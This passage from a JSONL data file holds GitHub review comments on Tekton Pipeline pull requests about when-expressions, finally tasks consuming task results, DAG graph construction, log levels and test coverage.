be the intention?", "comment_id": 517555579, "created_at": "2020-11-04T18:43:16Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 3176, "repo": "pipeline"} +{"author": "jerop", "body": "Thanks for the review @sbwsg! \r\n\r\nI'd been conflicted about whether to include `skipBranch` or not, given it's the default behavior in all other cases, so added `runBranch` only to keep it simple because that's the only new behavior we're adding -- though the example you've provided makes me lean towards adding the `skipBranch` as well\r\n\r\nWill capitalize the aliases to `RunBranch` and `SkipBranch` ", "comment_id": 517576213, "created_at": "2020-11-04T19:19:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 3176, "repo": "pipeline"} +{"author": "pritidesai", "body": "Unfortunately, we do not have a way to verify that this task was executed. This looks good for now, but we might want to create an `e2e` test in future to verify such scenarios.", "comment_id": 517586263, "created_at": "2020-11-04T19:38:59Z", "line": 103, "path": "examples/v1beta1/pipelineruns/pipelinerun-with-when-expressions.yaml", "pr_number": 3176, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup I agree with @sbwsg we need a default state set to `SkipBranch` but I am leaning towards not adding default as well \ud83d\ude43 \r\n\r\ndefaults makes more sense in case of `boolean` but with string types, if its not needed, we can avoid setting defaults.\r\n\r\n`default` will make code even more complicated. We can may be change the `TEP` to not include `skipBranch`, thoughts? ", "comment_id": 517595862, "created_at": "2020-11-04T19:56:59Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 3176, "repo": "pipeline"} +{"author": "pritidesai", "body": "when `when` expression evaluates to false, by default, the entire branch is skipped, if we want to enable it or run that branch, use `runBranch` policy in `whenSkipped` ", "comment_id": 517597083, "created_at": "2020-11-04T19:59:18Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/when_types.go", "pr_number": 3176, "repo": "pipeline"} +{"author": "jerop", "body": "yes, that'd be a great next step to this: https://github.com/tektoncd/pipeline/issues/3076", "comment_id": 518196299, "created_at": "2020-11-05T16:43:01Z", "line": 103, "path": "examples/v1beta1/pipelineruns/pipelinerun-with-when-expressions.yaml", "pr_number": 3176, "repo": "pipeline"} +{"author": null, "body": "I wonder if it might be worth having a separate error message for the `hasResourceDependencies` check?\r\n\r\n```go\r\nTask %q defines whenSkipped but child Task %q has a resource dependency on it\r\n```\r\n\r\nThe reason being that I think it might be a bit confusing for the error to only say that the `whenSkipped` field is disallowed in this case without additional info.\r\n\r\nIt would be even more amazing if we could break it down further using information computed similarly to `resourceDeps()` like, `Task %q has resource dependency on Task %q (param %q references result %q)`, but that's totally not necessary for this changeset I don't think!", "comment_id": 518274918, "created_at": "2020-11-05T18:34:26Z", "line": 630, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3176, "repo": "pipeline"} +{"author": null, "body": "Oh, also a small optimization nit: we are calling `toMap` each iteration of the for loop but I think we only need to do so once beforehand.", "comment_id": 518275701, "created_at": "2020-11-05T18:35:46Z", "line": 630, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 3176, "repo": "pipeline"} +{"author": "jerop", "body": "i think the `#invalid` comments should be removed", "comment_id": 489422591, "created_at": "2020-09-16T13:08:26Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "jerop", "body": "I think it might be worthwhile to explore adding these final tasks to skipped tasks (or another separate section for final tasks with invalid results) -- instead of creating a TaskRun object for a final task that wasn't executed \r\n\r\nrelated discussion: https://github.com/tektoncd/pipeline/issues/3139", "comment_id": 489436680, "created_at": "2020-09-16T13:28:13Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "great catch @jerop, done \ud83d\udc4d ", "comment_id": 489510588, "created_at": "2020-09-16T15:04:56Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "yes thats an alternative, another alternative could be: Tekton controller replacing such unresolved param with type default which is empty string for string type params. Let that final task execute expecting that the task author has implemented sanitization on such input params. @bobcatfish thoughts?", "comment_id": 489535663, "created_at": "2020-09-16T15:38:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunstate.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "jerop", "body": "wondering if there's a way to avoid saving execution state in resolvedpipelineruntask because it no longer means that it's a PipelineTask with its references resolved (looking into refactoring so that we don't put the taskrun in this struct as well)....we'd initially considered saving the skipped state here when working on when expressions, but decided with calling the method twice (when skipping and when updating status)\r\n\r\ncc @bobcatfish ", "comment_id": 490941613, "created_at": "2020-09-18T13:16:24Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "PipelineTask being skipped due to when expression failure is a different scenario then final task failing due to task result resolution failure.\r\n\r\nWhen expression is part of `ResolvedPipelineRunTask` and can be evaluated from `GetPipelineConditionStatus` and also `GetTaskRunsStatus` to find out whether that task was skipped or not. `Skip` can be called from `GetTaskRunsStatus` to avoid creating TaskRuns if needed. \r\n\r\nWhen a final task is declared failure due to task results resolution error, this information needs to be conveyed to `GetTaskRunsStatus` to let it create a failed `TaskRun`. From within `GetTaskRunsStatus` iterating over `ResolvedPipelineRunTask`, its not possible to know that a final task needs to be declared failure without this flag. Another alternative was to pass a list of such final tasks to `GetTaskRunsStatus` which made the implementation look complex as well.\r\n\r\nI hope this make sense \ud83d\ude1c \r\n\r\nI will be happy to hear if we can still avoid such flags (not in favor of it either \ud83d\ude22 ).", "comment_id": 491129533, "created_at": "2020-09-18T18:45:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "jerop", "body": "Yes, that makes sense\r\n\r\nMaybe in a future PR after we do some refactoring, we can avoid having that flag there ", "comment_id": 492217461, "created_at": "2020-09-21T17:10:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "popcor255", "body": "I believe we are trying to deprecate test builders from our tests. :sweat_smile: #3178 \r\nIt's not a blocker. I would like to lgtm this. I am glad to make this change later, if you want to merge this now.", "comment_id": 500685524, "created_at": "2020-10-07T01:31:13Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks @popcor255 yes, will change that later along with the other tests.", "comment_id": 500732329, "created_at": "2020-10-07T04:36:15Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: Missing ':' after **Note**", "comment_id": 501555111, "created_at": "2020-10-08T08:54:17Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: from *the* `tasks` section", "comment_id": 501555541, "created_at": "2020-10-08T08:54:53Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "afrittoli", "body": "It feels a bit un-natural to use two functions that work on slices, passing them elements of a slice one by one embedded in 1-element slices.\r\nI wonder if it would make sense to make a version of those functions that work on single elements, and use that both here as well as for the implementation of the current functions that work on slices.", "comment_id": 501590764, "created_at": "2020-10-08T09:50:07Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "afrittoli", "body": "Not something that needs to be fixed in the PR, it's also fine to change it as a follow-up if you agree.", "comment_id": 501645488, "created_at": "2020-10-08T11:26:23Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "I have introduced a new function to handle single task for now, `taskResults` is due for refactoring. After @sbwsg's pipelineRun results PR #3472 is merged, I will take up refactoring `taskResults`. Changes in PR #3472 have simplified resolving pipelineRun results and cleaned up `resultrefresolution.go`.", "comment_id": 521854429, "created_at": "2020-11-12T05:48:59Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "kind of a nit pick but in order for someone to understand what this example is trying to show, we might want to add some ordering to these tasks? (i think the intention is you'd run before, then add, then after?)", "comment_id": 533475882, "created_at": "2020-12-01T14:56:37Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "would it make sense to include some details here about what happens if the Task providing the result fails or is skipped?", "comment_id": 533475906, "created_at": "2020-12-01T14:56:39Z", "line": 806, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "pinging this again", "comment_id": 533482234, "created_at": "2020-12-01T15:04:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "would it make sense to also make sure the overall status of the reconciled run is failure in this case? unless that's something you want to cover in an e2e test instead", "comment_id": 533483383, "created_at": "2020-12-01T15:05:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "should we verify that this is also the ONLY task that is skipped?", "comment_id": 533483691, "created_at": "2020-12-01T15:06:12Z", "line": 4814, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I don't understand what BuildWithoutLinks is doing, could you add more detail, e.g. explain what \"links\" means in this context? I think it means that the graph is created without any edges, in which case it's not a graph (i mean technically it is but not in a useful way) - is the idea to get a list of nodes? would it make sense to create a different data structure or maybe just return a list of []Node?", "comment_id": 533486211, "created_at": "2020-12-01T15:09:24Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "added details around skipped and failed task i.e. finally task consuming task result from a failed or skipped task is included in the list of `skippedTasks` and `pipelineRun` status is set to `completed` instead `success`.", "comment_id": 533789116, "created_at": "2020-12-01T23:21:55Z", "line": 806, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "I have replaced an example with more common task `git-clone` so that its easier to follow. ", "comment_id": 533790209, "created_at": "2020-12-01T23:24:38Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "Reconciled run does not result in failure here, controller logs an error and continues creating taskRun for other final tasks. I have covered the overall pipelineRun status in `e2e` test.", "comment_id": 533791956, "created_at": "2020-12-01T23:29:27Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup, good point \ud83d\udc4d done", "comment_id": 533792130, "created_at": "2020-12-01T23:29:52Z", "line": 4814, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "I have added two additional final tasks in `e2e` test [consuming](https://github.com/tektoncd/pipeline/pull/3242/files#diff-7815ee756d1326fe39c09f4deb5c7c36aa4a8f14b4319d5bf8ac73a1929a3d10R94) task result from a failed task and a skipped task (due to when expression). Overall status of this test `pipelineRun` is failure as it has at least one `dag` failed. Let me know if you would like to see one more test pipeline with just dag with when expression and a final task consuming result from that dag which would result in overall pipelineRun status to `completed`.", "comment_id": 533793836, "created_at": "2020-12-01T23:34:32Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "`BuildWithoutLinks` is creating graph without linking any dependencies. \r\n\r\nTask results introduces dependency between two tasks i.e. consumer task is dependent on producer task and from the `dag` perspective, both tasks are part of the same graph. But in case of `finally` consuming results from `dag`, both are part of a separate sections. And as per the `finally` contract, it can not depend on any `dag` task.\r\n\r\nYou are right practically its just a list of `Node`s, all finally tasks being root nodes of a graph.\r\n\r\nWe could convert it into a list instead of graph. This was originally designed to be a graph to support finally tasks being dependent on (order and resource dependency) other finally tasks.\r\n\r\nI have renamed `BuildWithoutLinks` to `BuildWithoutDeps` if its easier to understand.\r\n", "comment_id": 533806464, "created_at": "2020-12-02T00:09:04Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "Another alternative is to have a build function taking both `dag` and `finally` and return two graphs:\r\n\r\nOption 1:\r\n\r\n```\r\nfunc Build(dag Tasks, finally Tasks) (*Graph, *Graph, error) {\r\n```\r\n\r\nBuild graph as is for `dag` tasks but while building graph for `finally`, avoid any dependencies if its a `dag` task. \r\n\r\nOr\r\n\r\nOption 2:\r\n\r\nBuild graph with all the `tasks` but avoid adding dependencies if it exists in a list of `noDeps`:\r\n\r\n```\r\nfunc Build(tasks Tasks, noDeps Tasks) (*Graph, error) {\r\n```\r\n\r\nCall it like:\r\n\r\n```\r\nd := Build(dagTasks, []PipelineTasks)\r\ndfinally := Build(finallyTasks, dagTasks)\r\n```", "comment_id": 533820552, "created_at": "2020-12-02T00:49:22Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Thanks for explaining!\r\n\r\nI think it's important to use the right data structure for whatever we're doing - it makes the code much clearer and easier to maintain in the long run.\r\n\r\nIn this case, if a list of nodes is what we need, do we need to involve a graph object at all? Can we create a function that is not related to Graph at all and produces a list of Nodes from a list of Tasks?\r\n\r\ne.g. \r\n\r\n```\r\nfunc GetNodes(tasks Tasks) []Node\r\n```\r\n\r\nAlternatively: maybe the problem is that determining the deps shouldnt be part of building the graph? what if `deps` was passed into the build function?", "comment_id": 534306288, "created_at": "2020-12-02T16:29:32Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "> I think it's important to use the right data structure for whatever we're doing - it makes the code much clearer and easier to maintain in the long run.\r\n\r\nyup, building `Graph` for `finally` section is essential to support `runAfter` and `workspaces` in future. \r\n", "comment_id": 534370209, "created_at": "2020-12-02T17:58:32Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "> Alternatively: maybe the problem is that determining the deps shouldnt be part of building the graph? what if deps was passed into the build function?\r\n\r\nyup, working on this alternative.", "comment_id": 534376439, "created_at": "2020-12-02T18:08:31Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "Taking `deps` out of `build` does simplify `build`, see changes [here](https://github.com/tektoncd/pipeline/compare/master...pritidesai:build-deps?expand=1) but its mixing deps retrieval and validation in one single function `deps`. \r\n\r\nAnd, irrespective of `finally` section being built as a `Graph` or a list of `Node[]`, it has to fetch `deps` to validate the result reference belonging to a valid `dag` task which is missing from the changes in this PR \ud83d\ude22 \r\n\r\nPTAL \ud83d\ude4f \r\n\r\n", "comment_id": 534433750, "created_at": "2020-12-02T19:41:24Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Nice! I wonder if it would help if there was a function you could call to get all the deps as a map?\r\n\r\ne.g. something like\r\n\r\n```\r\n\r\ntype PipelineTasks []PipelineTask\r\nfunc (tasks PipelineTasks) Deps() map[string][] {\r\n deps := map[string][]string{}\r\n\tfor _, pt := range tasks {\r\n\t\tdeps[pt.HashKey()] = pt.Deps()\r\n\t}\r\n return deps\r\n}\r\n```\r\n\r\nthen the original line:\r\n\r\n```\r\nif _, err := dag.Build(PipelineTaskList(tasks)); err != nil {\r\n```\r\n\r\nwould just become something like :\r\n\r\n```\r\nif _, err := dag.Build(PipelineTaskList(tasks), tasks.Deps()); err != nil {\r\n```\r\n", "comment_id": 534473302, "created_at": "2020-12-02T20:52:06Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "(oh! `PipelineTaskList` already IS the type I defined above as `PipelineTasks` :D)", "comment_id": 534474921, "created_at": "2020-12-02T20:54:56Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83e\udd26\u200d\u2640\ufe0f shying away in this PR", "comment_id": 534528632, "created_at": "2020-12-02T22:36:35Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "Great suggestion, it looks much simpler now, PR # https://github.com/tektoncd/pipeline/pull/3583", "comment_id": 534556198, "created_at": "2020-12-02T23:37:53Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "> validate the result reference belonging to a valid dag task which is missing from the changes in this PR \ud83d\ude22\r\n\r\nI have added validation [here](https://github.com/tektoncd/pipeline/pull/3242/files#diff-78ff878240189b20e0ef82f2912c93c0b3c7b445865e04fa9b98aab851be6130R386).", "comment_id": 534557923, "created_at": "2020-12-02T23:42:21Z", "line": null, "path": "pkg/reconciler/pipeline/dag/dag.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "note: i really dont think we should include anything about what the controller will likely log in these docs. if we start documenting that kind of thing, then users might come to rely on it.\r\n\r\nimo the docs should cover the expected functionality that would be more or less protected by our backwards compatibility policy - if we wanted to change what the controller logs, i dont think we should need to change our docs.\r\n\r\ni also think it's important that we distinguish between:\r\n- how the features are implemented\r\n- what the features do\r\n\r\nusers need to know about what the features do, and as much as possible shouldn't have to think about how the features are implemented (which also leaves us maintainers free to change the implementation around without impacting users)", "comment_id": 538474060, "created_at": "2020-12-08T15:05:59Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im confused, why does a yaml file with this name exist in 2 different places?", "comment_id": 538476092, "created_at": "2020-12-08T15:07:48Z", "line": 178, "path": "test/yamls/v1beta1/pipelineruns/pipelinerun-with-final-tasks.yaml", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "continuing on this conversation:\r\n\r\n> me: would it make sense to also make sure the overall status of the reconciled run is failure in this case? unless that's something you want to cover in an e2e test instead\r\n\r\n> @pritidesai: Reconciled run does not result in failure here, controller logs an error and continues creating taskRun for other final tasks. I have covered the overall pipelineRun status in e2e test.\r\n\r\nI think I almost understand, but I think technically the situation is that the controller is waiting for the finally tasks to complete before updating the status to failed, is that right?\r\n\r\n> controller logs an error and continues creating taskRun for other final tasks\r\n\r\nthis reconcile should result in all finally tasks \"running\" (since they run in parallel) and then the it would the the last reconcile after the finally tasks have finished that would set the overall status to failed, is that right?", "comment_id": 538481302, "created_at": "2020-12-08T15:12:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "would it make sense to have a final task also successfully consuming a result, for completeness?", "comment_id": 538484365, "created_at": "2020-12-08T15:15:16Z", "line": 110, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nitpick but maybe it would make sense to also assert on the length of taskrunList? apologies since this test was already like this, but it seems like it would currently pass if extra taskruns were returned", "comment_id": 538485877, "created_at": "2020-12-08T15:16:37Z", "line": 221, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "thanks for updating this test!!", "comment_id": 538486550, "created_at": "2020-12-08T15:17:15Z", "line": 291, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "do we need to update more than one end to end test? i feel like the previous one was pretty comprehensive, especially if it also has a finally task successfully execute while consuming a result", "comment_id": 538487191, "created_at": "2020-12-08T15:17:50Z", "line": 294, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "this is outside of the scope of this PR but i wonder if this function (`runNextSchedulableTask`) has too much responsibility. it seems to be in charge of:\r\n- deciding what to execute next\r\n- resolving references\r\n- actually executing\r\n\r\nthose feel like at least 3 distinct responsibilities. i think if we get a chance it would be great to detangle this a bit.", "comment_id": 538491511, "created_at": "2020-12-08T15:22:05Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "should this be a warning or an error? we only need to apply results when we're ready to run final tasks and we're only ready once all of the non-final tasks have finished.", "comment_id": 538492870, "created_at": "2020-12-08T15:23:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "not to mention that it doesnt have unit tests :(", "comment_id": 538493573, "created_at": "2020-12-08T15:23:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im thinking that what is happening here is that we are logging this warning in the case where a finally task needs a result from a task that was skipped.\r\n\r\n1. i dont think that should be a warning. logs that are warn, error or fatal should be indicating to the operator of the system that some kind of action needs to be taken. i.e. the _operator_ not the _user_. the user gets informed of actions they need to take via the status (e.g. error messages). the operator is the person admin-ing the tekton installation and needs to know if there is something wrong with the setup. so maybe info here? (https://dzone.com/articles/logging-levels-what-they-are-and-how-they-help-you seems like an okay article on log levels)\r\n2. it would be great if one day we could get to a point where the decision of whether or not to skip was only done in one place - is there any way to do that in this PR? i.e. before we try to resolve the references? (i.e. why are we trying to resolve references on something that needs to be skipped) it seems like we should be able to look at a task's dependencies and see that it cant be run?", "comment_id": 538497576, "created_at": "2020-12-08T15:27:29Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "bobcatfish", "body": "im surprised we need special \"is skipped\" logic for a finally task - wouldnt the logic for whether or not a task is skipped be the same as for non-finally tasks? (i.e. it depends on a task that failed or was skipped?)", "comment_id": 538498757, "created_at": "2020-12-08T15:28:30Z", "line": 220, "path": "pkg/reconciler/pipelinerun/resources/pipelinerunresolution.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "I can remove this log from here for now but without this log, if I am running into a finally task being part of `skippedTasks`, I have no way to look for `why` from doc perspective (without looking at the code).", "comment_id": 538599430, "created_at": "2020-12-08T16:56:32Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "Please refer to https://github.com/tektoncd/pipeline/pull/3564#issuecomment-736252906", "comment_id": 538600794, "created_at": "2020-12-08T16:57:31Z", "line": 178, "path": "test/yamls/v1beta1/pipelineruns/pipelinerun-with-final-tasks.yaml", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "> I think I almost understand, but I think technically the situation is that the controller is waiting for the finally tasks to complete before updating the status to failed, is that right?\r\n\r\nYes the controller is waiting for the finally tasks to complete before updating the status. The status condition need not be necessarily failure. If finally task has a reference to a skipped dag task, the controller sets the status to `completed` after all finally tasks are finished. The controller sets the status to `failed` if any of the finally or a dag task fails. Let me know if this is not clear.", "comment_id": 538630995, "created_at": "2020-12-08T17:25:20Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "haha I had added it and dropped it, sure will add it back.", "comment_id": 538632547, "created_at": "2020-12-08T17:26:45Z", "line": 110, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "sure I will add it explicitly, it is covered by the default:\r\n\r\nhttps://github.com/tektoncd/pipeline/blob/705e97146fea0e6a7f55e3b06f46e317a9c12659/test/pipelinefinally_test.go#L118-L119\r\n\r\n`default` would raise error if it finds any missing or extra taskRuns, I will add explicit count assertion.", "comment_id": 538640733, "created_at": "2020-12-08T17:34:11Z", "line": 221, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "will update this error message as well since its not clear.", "comment_id": 538641320, "created_at": "2020-12-08T17:34:43Z", "line": 221, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "nope, I think updating one is enough, I will add a finally task with a successful task result consumption in the first test itself. ", "comment_id": 538643314, "created_at": "2020-12-08T17:36:36Z", "line": 294, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "\ud83d\ude2d it does\r\n\r\nI will work on refactoring it after this is merged, created issue #3610", "comment_id": 538647766, "created_at": "2020-12-08T17:40:39Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "> should this be a warning or an error?\r\n\r\nI think it should be warning, its indicating that the finally task was skipped for some reason. Skipping a dag does not warn users but here users are warned when a finally task is skipped. Finally being finally task must be executed and warn if they are not for some reason.\r\n\r\nBut based on your description, there is no action needs to be taken if a finally task is skipped in case of a cleanup/notification use case. may be convert it to info then? I am not convinced but at the same time I dont see a use case.\r\n\r\n\r\n> im thinking that what is happening here is that we are logging this warning in the case where a finally task needs a result from a task that was skipped.\r\n\r\nyup skipped or failed.\r\n\r\n> we only need to apply results when we're ready to run final tasks and we're only ready once all of the non-final tasks have finished.\r\n\r\nUntil we are ready to run finally tasks, `finallyRprts` is empty.\r\n\r\n> it would be great if one day we could get to a point where the decision of whether or not to skip was only done in one place - is there any way to do that in this PR?\r\n\r\nThe only way we could do it to maintain a list of [skippedTasks](https://github.com/tektoncd/pipeline/compare/master...pritidesai:pipelinerunstatus#diff-188e8bbe2f5c7cb0b9de03be02a957537e46bb71add977e4992533375ef08998R351) in `pipelineRunFacts`. Once we determine that a finally task is being skipped, add it into the list. And check this list while updating the status condition and status.SkippedTasks. The same logic would work for dag tasks as well. We could merge this as is and refactor after this is merged.\r\n\r\n(@afrittoli's attempt on simplifying [skipped](https://github.com/tektoncd/pipeline/commit/72455ba0a81c9d806b26809842282c045ca43d41#diff-2d6877ada24d6e8ae6d232d24799f21c520e590e5b432f9adba5e2e62eaa40b7R53) tasks)\r\n\r\n> why are we trying to resolve references on something that needs to be skipped\r\n\r\nAt this point, we are discovering task result resolution failure and therefore not executing finally task. Finally task consuming task results from a dag task but not dependent on a dag task. Both belong to separate sections, no relationships established from a finally to dag.", "comment_id": 538742933, "created_at": "2020-12-08T19:23:22Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "This could be further simplified for both finally and dag, instead of trying to resolve task results, just check if the referenced task was failed or skipped before trying to resolve results.", "comment_id": 538753084, "created_at": "2020-12-08T19:39:19Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "done", "comment_id": 538813240, "created_at": "2020-12-08T21:16:20Z", "line": 110, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "deleted log from doc.", "comment_id": 538813643, "created_at": "2020-12-08T21:16:59Z", "line": null, "path": "docs/pipelines.md", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "done", "comment_id": 538813995, "created_at": "2020-12-08T21:17:31Z", "line": 294, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "https://github.com/tektoncd/pipeline/pull/3242/files#diff-7815ee756d1326fe39c09f4deb5c7c36aa4a8f14b4319d5bf8ac73a1929a3d10R168", "comment_id": 538814981, "created_at": "2020-12-08T21:19:17Z", "line": 221, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "pritidesai", "body": "verifying the param value in a finally task (referring to result of a dag task) https://github.com/tektoncd/pipeline/pull/3242/files#diff-7815ee756d1326fe39c09f4deb5c7c36aa4a8f14b4319d5bf8ac73a1929a3d10R210", "comment_id": 538815957, "created_at": "2020-12-08T21:20:54Z", "line": 294, "path": "test/pipelinefinally_test.go", "pr_number": 3242, "repo": "pipeline"} +{"author": "imjasonh", "body": "Can we make this example fail if the reported status isn't what we expect? That might catch a future bug that would otherwise go undetected.", "comment_id": 505543081, "created_at": "2020-10-15T13:30:26Z", "line": null, "path": "examples/v1beta1/pipelineruns/pipelinerun-task-execution-status.yaml", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "yup definitely, any pointer on how to add failed run under `/examples`? I think we added support for it at some point \ud83e\udd14 will it have to live under `/test`?", "comment_id": 505617408, "created_at": "2020-10-15T15:03:52Z", "line": null, "path": "examples/v1beta1/pipelineruns/pipelinerun-task-execution-status.yaml", "pr_number": 3390, "repo": "pipeline"} +{"author": "pritidesai", "body": "I couldn't find anywhere \ud83d\ude2d I will move this test under `/test` but would like to keep this example file as well. Do we run examples from [no-ci](https://github.com/tektoncd/pipeline/tree/master/examples/v1beta1/pipelineruns/no-ci), may be move there?", "comment_id": 505778140, "created_at": "2020-10-15T19:10:30Z", "line": null, "path": "examples/v1beta1/pipelineruns/pipelinerun-task-execution-status.yaml", "pr_number": 3390, "repo": "pipeline"} +{"author": "GregDritschler", "body": "Shouldn't this be under \"Variables available in a `Pipeline`\" ?", "comment_id": 552912376, "created_at": 